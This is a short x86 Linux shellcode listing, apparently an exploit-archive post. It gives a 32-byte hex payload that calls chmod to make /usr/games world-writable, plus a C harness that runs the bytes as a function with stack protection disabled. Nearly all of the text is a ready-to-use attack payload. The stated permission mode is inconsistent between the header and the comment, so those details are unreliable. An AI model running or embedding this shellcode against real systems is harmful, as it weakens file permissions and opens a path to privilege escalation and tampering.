32 bytes small x86 chmod("/usr/games",01777) shellcode.
dcd2ea6939ec21094a482aeb3569b9eea891292895fe38577dbeca3e40fb8e27
#include <stdio.h>
/*
32 bit chmod("/usr/games", 0177)
cc -o games -fno-stack-protector
--srm
*/
char code[] =
"\x31\xc9\x51\xb1\xff\x68\x6d\x65\x73\x2f\x68\x72\x2f\x67\x61\x68\x2f\x2f"
"\x75\x73\x89\xe3\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
void (*f)();
f = (void *) code;
printf("%d\n", strlen(code));
f();
return 0;
}